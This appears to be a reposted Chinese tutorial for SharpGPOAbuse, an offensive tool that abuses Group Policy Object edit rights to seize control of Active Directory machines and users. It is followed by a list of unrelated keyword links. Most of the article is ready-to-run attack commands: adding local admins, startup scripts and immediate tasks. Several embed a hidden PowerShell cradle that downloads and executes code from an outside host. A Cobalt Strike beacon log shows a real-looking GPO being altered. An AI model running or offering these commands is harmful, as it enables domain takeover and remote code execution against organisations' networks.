怎么通过用户的编辑权限控制组策略对象控制对象
发表于:2026-11-02 作者:千家信息网编辑
千家信息网最后更新 2026年11月02日,本篇内容主要讲解"怎么通过用户的编辑权限控制组策略对象控制对象",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么通过用户的编辑权限控制组策略对象控制对象"
千家信息网最后更新 2026年11月02日怎么通过用户的编辑权限控制组策略对象控制对象
本篇内容主要讲解"怎么通过用户的编辑权限控制组策略对象控制对象",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么通过用户的编辑权限控制组策略对象控制对象"吧!
关于SharpGPOAbuse
SharpGPOAbuse是一个功能强大的.NET应用程序,SharpGPOAbuse基于C#开发,可以帮助广大研究人员利用目标系统中用户针对一个组策略对象(GPO)的编辑权限来入侵并控制由该组策略对象(GPO)控制的对象。
项目获取
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/FSecureLABS/SharpGPOAbuse.git
代码编译
请确保本地主机中必要的NuGet包已正常安装,然后就可以使用Visual Studio将项目导入之后直接编译构建了。
工具使用
Usage: SharpGPOAbuse.exe <攻击类型> <攻击选项>
攻击类型
当前版本的SharpGPOAbuse支持下列攻击类型:
选项 | 描述 |
--AddUserRights | 向用户添加权限 |
--AddLocalAdmin | 向本地管理员组中添加一个用户 |
--AddComputerScript | 添加一个新的计算机启动脚本 |
--AddUserScript | 配置一个用户登录脚本 |
--AddComputerTask | 配置一个计算机立即执行的任务 |
--AddUserTask | 向用户添加一个立即执行的任务 |
攻击选项
添加用户权限
Options required to add new user rights:--UserRights 给用户添加新的权限,该参数大小写敏感,可以使用逗号分隔的列表。--UserAccount 设置需要添加新权限的用户账号。--GPOName 存在安全漏洞的GPO名称。 样例: SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
添加一个本地管理员
Options required to add a new local admin:--UserAccount 设置需要添加进本地管理员组中的账号名称。--GPOName 存在安全漏洞的GPO名称。 样例: SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
配置一个用户或计算机登录脚本
Options required to add a new user or computer startup script:--ScriptName 设置新启动脚本的名称。--ScriptContents 设置新启动脚本的内容。--GPOName 存在安全漏洞的GPO名称。 样例: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"如果你只想要对GPO控制的特定用户或计算机执行恶意脚本,你可以在恶意脚本中添加一个if语句:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
配置计算机或用户立即执行的任务
Options required to add a new computer or user immediate task: --TaskName 设置新计算机任务的名称。Set the name of the new computer task.--Author 设置新任务的开发者(可以使用DA账号)。--Command 需要执行的命令--Arguments 传递给命令的参数。--GPOName 存在安全漏洞的GPO名称。 Additional User Task Options:--FilterEnabled 启用任务过滤器。Enable Target Filtering for user immediate tasks.--TargetUsername 目标用户,恶意任务只会针对特定用户运行,格式为\ 。--TargetUserSID 目标用户的SID。 Additional Computer Task Options:--FilterEnabled 启用任务过滤器。--TargetDnsName 目标DNS名称,恶意任务只会针对目标主机运行。 样例: SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
如果你只想要对GPO控制的特定用户或计算机运行恶意任务,你可以参照下列命令:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com额外选项
选项 | 描述 |
--DomainController | 设置目标域控制器 |
--Domain | 设置目标域名 |
--Force | 改写现有文件 |
工具输出样例
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"[+] host called home, sent: 171553 bytes[+] received output:[+] Domain = europa.com[+] Domain Controller = EURODC01.europa.com[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml[+] versionNumber attribute changed successfully[+] The version number in GPT.ini was increased successfully.[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.[+] Done!到此,相信大家对"怎么通过用户的编辑权限控制组策略对象控制对象"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
用户
控制
任务
对象
权限
名称
目标
脚本
计算机
策略
恶意
安全
命令
安全漏洞
漏洞
配置
控制组
内容
管理员
账号
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
科技互联网企业
互联网通讯科技
互联网科技公司税收优惠
极限挑战互联网科技
互联网科技缩写
时间互联网络科技
青海省互联网新科技
央行互联网金融科技公司
苏州五指互联网络科技有限
互联网金融科技名词解释
华中科技大学互联网的牛人
合肥互联网科技公司公章图片
深圳互联网科技的发展
广州梦谷互联网科技有限公司领导
珠海东科互联网科技有限公司
世界互联网科技成果奖
云南互联网科技学费
10位科技互联网大佬
互联网科技自媒体灵感
伍佰万互联网科技是干嘛的
为想互联网科技怎么样
杭州互联网科技公司
互联网与未来科技
壹账通互联网科技
现代科技和互联网有关系吗
北京三清互联网科技
互联网科技博主是什么意思
宁夏科技产业互联网案例
互联网对科技的发展
兰石爱特工业互联网科技分公司